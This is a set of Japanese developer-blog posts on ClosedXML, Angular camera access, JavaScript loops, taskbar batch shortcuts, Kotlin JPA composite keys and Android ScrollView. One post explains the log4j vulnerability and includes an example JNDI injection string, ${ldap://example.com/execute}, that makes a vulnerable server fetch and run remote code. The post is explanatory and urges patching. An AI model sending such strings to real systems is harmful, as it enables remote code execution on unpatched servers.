10yroの開発日記

福岡にある株式会社10yro(トイロ)のエンジニアが書いています

C#でClosedXMLを使ってExcelを操作する

今回はC#Microsoft OfficeExcelを利用する場合のサンプルです。

やり方はいくつかあるかと思いますが、今回はClosedXMLというパッケージを利用します。

ClosedXMLのインストール

NuGetからClosedXMLをインストールします。
簡単ですね。

ExcelのBookを新規作成する

以下はClosedXMLを使ってExcelのBookを新規作成、Sheetを追加し、セル(B2)に値をセットしています。
また、B2に罫線も引きました。

上記を実行すると、以下のExcelが保存されました。

ExcelのBookのSheetを読み取る

今度は上記で作成したBookからCell B2の値を読み取ってコンソールに表示します。

上記を実行すると下記のようにCell B2の値「Closed XML Sample」が出力されました。

まとめ

C#Excelを操作したい場合はClosedXMLを使うのがオススメです。
ClosedXMLの使い方は以下の公式のWikiを参考にすると良いと思います。

github.com

【Angular】ブラウザでカメラを利用する

Angular アプリケーションでデバイスのカメラを利用する方法を記載します。

Angular でのカメラ利用は Navigator.mediaDevices を利用すれば実現できます。

各ブラウザの対応状況については以下を参照下さい。 https://developer.mozilla.org/ja/docs/Web/API/Navigator/mediaDevices

1. <video>を用意する。

まずはHTML側に<video> を配置します。

そして、それぞれのElementをViewChildとして定義しておきます。

HTML

<video id="camera" #camera autoplay></video>

TS

@ViewChild('camera') camera?: ElementRef;
2. カメラを起動する処理を追加

次にカメラ起動に関する処理を記載します。

カメラを起動するには MediaDevices.getUserMedia() を利用します。

getUserMedia() の引数として MediaStreamConstraintsを定義しておきます。(引数に直接指定しても問題ないです。)

constraints: MediaStreamConstraints = {
    audio: false,
    video: {
        //  environment : Rear camera / user : Self-view camera
        facingMode: 'environment' as VideoFacingModeEnum,
    },
};

<video>のsrcObjectに対し取得したMediaStreamをセットします。

カメラを起動する処理は AfterViewInit 等のタイミングで呼び出せば良いと思います。

if (!navigator.mediaDevices) {
    // 【navigator.mediaDevicesが取得できない場合の処理】
    return;
}
navigator.mediaDevices
    .getUserMedia(this.constraints)
    .then((stream: MediaStream) => {
        if (this.camera) {
            this.camera.nativeElement.srcObject = stream;
        }
    })
    .catch((error) => {
        // 【エラーが発生した場合の処理】
    });
3. カメラを停止する処理を追加

OnDestroy 等カメラを停止したいタイミングで MediaStreamTrack.stop()をコールします。

if (this.camera?.nativeElement.srcObject) {
    const track = this.camera.nativeElement.srcObject.getTracks()[0] as MediaStreamTrack;
    track.stop();
}
4. 撮影処理を追加

これで基本的にカメラの起動/停止ができると思うので

後は撮影処理を実装すればカメラ機能として利用できます。

以下は撮影した画像をData URLとして取得する例です。(<canvas>を利用しています。)

HTML

<canvas id="canvas" #canvas></canvas>

TS

let width = this.camera?.nativeElement.clientWidth;
let height = this.camera?.nativeElement.clientHeight;

if (this.canvas) {
    const context = this.canvas.nativeElement.getContext('2d') as CanvasRenderingContext2D;
    this.canvas.nativeElement.width = width;
    this.canvas.nativeElement.height = height;
    const dataUrl = this.canvas.nativeElement.toDataURL(
        context.drawImage(this.camera?.nativeElement, 0, 0, width, height)
    );

    this.dialogRef.close(dataUrl);
}
注意点

ブラウザのカメラはセキュリティ上、基本的にHTTPSの場合かローカル(localhost)の場合のみ利用できるようになっており、 HTTPでは利用できません。(navigator.mediaDevices が取得できません。)

サンプル

以下サンプルとなります。

※ここではカメラをダイアログ表示(全画面)するものしMatDialogRefを入れています。

HTML

<video id="camera" #camera autoplay></video>
<canvas id="canvas" #canvas></canvas>

※<button>や<img>等 撮影ボタンや必要に応じて閉じるボタン等を配置

TS

export class CameraComponent implements AfterViewInit, OnDestroy {
    @ViewChild('camera') camera?: ElementRef;
    @ViewChild('canvas') canvas?: ElementRef;
    
    constraints: MediaStreamConstraints = {
        audio: false,
        video: {
            //  environment : Rear camera / user : Self-view camera
            facingMode: 'environment' as VideoFacingModeEnum,
        },
    };
    
    constructor(private dialog: MatDialog, private dialogRef: MatDialogRef<CameraComponent>) {}
    
    ngAfterViewInit(): void {
        this.startCamera();
    }

    ngOnDestroy(): void {
        this.stopCamera();
    }

    closeDialog() {
        this.dialogRef.close();
    }
    
    startCamera() {
        if (!navigator.mediaDevices) {
            alert('camera is not supported.');
            return;
        }
        navigator.mediaDevices
            .getUserMedia(this.constraints)
            .then((stream: MediaStream) => {
                if (this.camera) {
                    this.camera.nativeElement.srcObject = stream;
                }
            })
            .catch((error) => {
                // 【エラーが発生した場合の処理】
            });
    }
    
    stopCamera() {
        if (this.camera?.nativeElement.srcObject) {
            const track = this.camera.nativeElement.srcObject.getTracks()[0] as MediaStreamTrack;
            track.stop();
        }
    }
    
    shoot() {
        let width = this.camera?.nativeElement.clientWidth;
        let height = this.camera?.nativeElement.clientHeight;

        if (this.canvas) {
            const context = this.canvas.nativeElement.getContext('2d') as CanvasRenderingContext2D;
            this.canvas.nativeElement.width = width;
            this.canvas.nativeElement.height = height;
            const dataUrl = this.canvas.nativeElement.toDataURL(
                context.drawImage(this.camera?.nativeElement, 0, 0, width, height)
            );

            this.dialogRef.close(dataUrl);
        }
    }
}

log4jの脆弱性について

みなさんMinecraftしてますか?

私は飽きたりハマったりの繰り返しで数年やってますが楽しいですよね。

ちなみに世界一売れてるゲームらしいですよ。

先日、有名ライブラリのlog4jで任意のコードが実行できる脆弱性が先日発見され、 Minecraftでもこの脆弱性を利用した攻撃があり話題になりましたね。

詳細は↓を。

https://www.ipa.go.jp/security/ciadr/vul/alert20211213.html

って事で少し調べてみました。

原因


ログ出力する際に特定の文字列の場合は変数に置き換える機能があり、この置き換える機能がネットワーク経由でも実行可能とである為、任意のコードが実行可能となっています。( JNDI lookupと言いLDAP を利用する仕組みのようです) ざっくりですが、例えば${ldap://example.com/execute}をヘッダーに含めてリクエストを行いログに出力されると任意のJava Classファイルをダウンロードし実行されます。

影響

Log4jをシステムで使っていなくても、ライブラリが使用してたりするので影響範囲はかなり広いです。

また攻撃手法が公開されているので、早急にlog4jのバージョンアップをするかJndiLookup機能を無効かするのが良いです。

ちなみにMinecraftは公式パッチが早々にリリースされてました。

この手の脆弱性は、年末年始を気楽の過ごせるように早急に対応するのがいいですね!

【JavaScript】for文(繰り返し処理)の違い

JavaScriptに関わらず、どの言語でも「同じ処理を繰り返したい」ということが必ずあります。
その代表的な繰り返し処理のfor文の違いについてまとめました。

1. for

初期のころから使われている一般的な繰り返し処理で、配列を処理する方法です。
continue(スキップ)、break(終了)が使用できます。
構文

for ([初期化式]; [条件式]; [加算式])

サンプル

const list = ['あ', 'い', 'う', 'え', 'お'];
for (let i = 0; i < list.length; i++) {
  console.log(`${i}:${list[i]}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

2. for in

オブジェクトにあるすべてのプロパティを処理する方法です。
※処理順序が保証されないため、インデックスの順序が重要になる配列には使用しない
continue(スキップ)、break(終了)が使用できます。
構文

 for (変数 in オブジェクト)

サンプル(配列)
変数 prop はインデックスになる。

const list = ['あ', 'い', 'う', 'え', 'お'];
for (const prop in list) {
  console.log(`${prop}:${list[prop]}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

サンプル(オブジェクト:連想配列)
変数 prop はプロパティ名になる。

const obj = {
  a: 'あいうえお',
  ka: 'かきくけこ',
  sa: 'さしすせそ',
  ta: 'たちつてと',
  na: 'なにぬねの'
};
for (const prop in obj) {
  console.log(`${prop}:${obj[prop]}`);
}

実行結果

a:あいうえお
ka:かきくけこ
sa:さしすせそ
ta:たちつてと
na:なにぬねの

developer.mozilla.org

3. for of

オブジェクトにあるすべてのプロパティを処理する方法です。
continue(スキップ)、break(終了)が使用できます。
構文

 for (変数 of オブジェクト)

サンプル
変数 prop はプロパティ値になる。

const list = ['あ', 'い', 'う', 'え', 'お'];
for (const [index, prop] of list.entries()) {
  console.log(`${index}:${prop}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

4. forEach

指定したコールバック関数を配列の要素ごとに処理する。
continue(スキップ)、break(終了)が使用できない。returnもコールバック関数内で処理されるだけなので、繰り返し処理の終了も行われない。
構文

arr.forEach(callback(currentValue[, index[, array]]) {
  // execute something
}[, thisArg]);

サンプル

const list = ['あ', 'い', 'う', 'え', 'お'];
list.forEach((value, index) => {
  console.log(`${index}:${value}`);
})

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

5. 処理速度

処理速度がどのくらい違うのか計測してみました。
ブラウザにより処理速度は違いますが、それでもforが圧倒的です。

Chrome Edge
for 0.092041015625 ms 0.088867187500 ms
forEach 0.233886718750 ms 0.187988281250 ms
for of 0.410888671875 ms 0.238037109375 ms
for in 0.870849609375 ms 0.565917968750 ms

処理時間はconsole.time(xxx)とconsole.time(xxx)で簡単に計測できます。 developer.mozilla.org developer.mozilla.org

【Windows】バッチファイルをタスクバーにピン留め&ショートカットキーで起動する

Windows上でよく使うバッチファイルをワンクリックで起動したい場合やショートカットキーですぐに起動したいときの小技です。

バッチファイルをタスクバーにピン留め

バッチファイルは、そのままだとピン留めできないため、ちょっとした一工夫が必要です。
①バッチファイルを右クリック→「ショートカットの作成」を選択

f:id:tomi510dev:20211125125929p:plain

②作成されたショートカットを右クリック→「プロパティ」を選択

f:id:tomi510dev:20211125131413p:plain

③リンク先の先頭に「cmd.exe /c 」(/cの後は半角スペース)を追加し、適用ボタンをクリック
f:id:tomi510dev:20211125131442p:plain

※「cmd.exe /c 」→「C:\Windows\system32\cmd.exe /c 」に自動的に書き換えられます

④適用したショートカットをタスクバーにピン留め
※ドラッグ&ドロップ、または右クリック→「タスクバーにピン留め」で配置可能

 

これでピン留めされたタスクバーからワンクリックで起動可能となります。
ちなみに、このショートカットであればスタートメニューにもピン留め可能です。

 

タスクバーにピン留めしたアプリをショートカットキーで起動する

タスクバーにピン留めしたアプリは、Windowsキー + 数字キーで起動可能です。

f:id:tomi510dev:20211125132050p:plain

タスクバー上に配置されたアイコンが左から順番に1~0まで番号が割り振られています。

例えば、一番右端にピン留めしたバッチファイルは、[Windows]キー + [0]キーで起動できます。

また、すでに起動済みの場合、ウィンドウが最小化されている場合や背面にある場合は前面に移動され、前面に表示されている場合は最小化されます。

Spring Data JPA (Kotlin) で複合キーやグループ化されたEntityの定義方法

Spring JPA で複合主キーのテーブルのEntityを作成する方法を記載しています。

また、複合キーの中で一部のキーを用いてグループ化したEntityを作成する方法を紹介します。

※サンプルはKotlinとなっています。

1. 複合キーのEntity作成方法1

以下のような複合キーを持つテーブルのEntityを作成する場合

1-1. ID用のクラスを作成し、@Embeddable アノテーションを付与する。

1-2. 作成したIDクラスの型を持つIDカラムを作成し、@EmbeddedId アノテーションを付与する。

@Table(name = "transactions")
@Entity
open class Transactions : Serializable {
    @Embeddable
    open class Id : Serializable {
        @Column(name = "user_id", nullable = false)
        open var userId: Int? = null

        @Column(name = "product_id", nullable = false)
        open var productId: Int? = null

        @Column(name = "transaction_no", nullable = false)
        open var transactionNo: Int? = null
    }

    @EmbeddedId
    open var id: Id? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

ID 用のクラスを別に作成しても良いですが、inner class としておけば無駄なクラスを増やさずに済み、

型(Class)指定する際は以下のように全クラス共通して [Class name].Idでアクセスできるため、どのクラスのIDであるというのもわかりやすいです。

(例:Repositoryの定義)

interface TransactionsRepository : JpaRepository<Transactions, Transactions.Id> {
}

IDの値を利用した、別Entityとの関連を持たせたい場合

これにプラスして定義することもできます。

@Table(name = "transactions")
@Entity
open class Transactions : Serializable {
    @Embeddable
    open class Id : Serializable {
        @Column(name = "user_id", nullable = false)
        open var userId: Int? = null

        @Column(name = "product_id", nullable = false)
        open var productId: Int? = null

        @Column(name = "transaction_no", nullable = false)
        open var transactionNo: Int? = null
    }

    @EmbeddedId
    open var id: Id? = null

    @ManyToOne
    @JoinColumn(name = "user_id", nullable = false, insertable = false, updatable = false)
    open var user: Users? = null

    @ManyToOne
    @JoinColumn(name = "product_id", nullable = false, insertable = false, updatable = false)
    open var product: Products? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

2. 複合キーのEntity作成方法2

先ほどの@Embeddableを利用する方法の他に@IdClass アノテーションを利用する方法もあります。

2-1. ID(キー)用のクラスを作成する。

2-2. @IdClass アノテーションを付与し、作成したId用のクラスを指定する。

2-3. 各IDとなるプロパティに @Id アノテーションを付与する。

2-1

open class TransactionsKey : Serializable {
    open var userId: Int? = null

    open var productId: Int? = null

    open var transactionNo: Int? = null
}

2-2, 2-3

@Table(name = "transactions")
@Entity
@IdClass(TransactionsKey::class)
open class Transactions : Serializable {
    @Id
    @Column(name = "user_id", nullable = false)
    open var userId: Int? = null

    @Id
    @Column(name = "product_id", nullable = false)
    open var productId: Int? = null

    @Id
    @Column(name = "transaction_no", nullable = false)
    open var transactionNo: Int? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

(Repositoryでの指定)

interface MInspectionItemDeformationDisplayRepository : JpaRepository<MInspectionItemDeformationDisplay, TransactionsKey> {
}

3. 複合キーのテーブルで一部キーのみを除いたEntityの作成方法

複合主キーのテーブルにおいて、キーの一部のみでその他はグループ化した形で取得したい場合

(例で言うとユーザが商品ごとに行った取引の最新日時を持つEntityを作成する場合 等)

3-1. @Immutableアノテーションを付与

3-2. @Subselectにて取得したい内容を記載

※ここではHibernateアノテーション (org.hibernate.annotations) @Subselectを使用しています。

@Entity
@Immutable
@Subselect("""
    SELECT user_id, product_id, MAX(transaction_datetime) AS transaction_datetime
    FROM transactions
    GROUP BY user_id, product_id
""")
open class LatestTransactions {
    @Embeddable
    open class Id : Serializable {
        @Column(name = "user_id", nullable = false)
        open var userId: Int? = null

        @Column(name = "product_id", nullable = false)
        open var productId: Int? = null
    }

    @EmbeddedId
    open var id: Id? = null

    @Column(name = "transaction_datetime")
    open var transactionDatetime: Date? = null
}

【Android】ScrollViewでスクロールが表示されているかを判定する方法

こんばんは。

最近、「悪魔城ドラキュラx 血の輪廻」という横スクロールゲームをやったのですが、めちゃくちゃ難しかったです。

昔のゲームって鬼畜仕様多いですよね。

ってことでスクロールについての話題を。。

ScrollViewでスクロールが表示されているかを判定する方法

ScrollViewでスクロールが出ていた場合、メッセージ表示やレイアウト変更したいというケースが稀にあります。

例えば、下記のように文字追加を行いスクロールが出たら画面下部に「続きがあります」と表示したい場合など。。

方法としてはScrollViewとScrollViewの内側にいるLayoutViewの高さを比較し、LayoutViewの方が大きければスクロールが出ていると判断出来ます。

下の例だとscrollViewとscrollLayoutを比較。

f:id:toyo0110:20211110190658p:plain

具体的なソースはこちら

public class MainActivity extends AppCompatActivity {
    private TextView txtInfo;
    private ScrollView scrollView;
    private LinearLayout scrollLayout;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final Button btnAdd = findViewById(R.id.btnAdd);
        final Button btnClear = findViewById(R.id.btnClear);
        final TextView textView = findViewById(R.id.textView1);
        txtInfo = findViewById(R.id.txtInfo);
        scrollView = findViewById(R.id.scrollView);
        scrollLayout = findViewById(R.id.scrollLayout);

        for (int i = 0; i < 10; i++) {
            textView.append("aaaaaa\n");
        }

        // scrollLayoutがの可視状態が変わった場合または、変更があったい場合に動く
        scrollLayout.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() {
            @Override
            public void onGlobalLayout() {
                setInfo();
                // 初回描画時だけ判定したいのであれば、下記でイベントを削除する。
                //  scrollLayout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
            }
        });

        btnAdd.setOnClickListener(v -> {
                    textView.append("aaaaaa\n");
                }
        );
        
        btnClear.setOnClickListener(v -> {
            textView.setText("");
        });
    }

    private void setInfo() {

       // ScrollViewとScrollViewの内側にいるLayoutViewの高さを比較
        if (scrollView.getHeight() <= scrollLayout.getHeight()) {
            txtInfo.setText("続きがあります。");
        } else {
            txtInfo.setText("");
        }
    }
}

ポイントとしては「.getHeight()で高さをとっていますが描画後でないと正しい値が取れません。

onCreatenの中で「.getHeight()」で高さを取得してもScrollViewで描画が完了してない為、高さが0で返ってきてしまいます。

文字列追記後も描画反映まで少しラグがあるため、文字追加前の高さが取れます。

描画後に確実に判定するには、ViewTreeObserver.OnGlobalLayoutListenerで可視状態及び変更を監視し、LayoutViewの状態が変わったタイミングで判定する必要があります。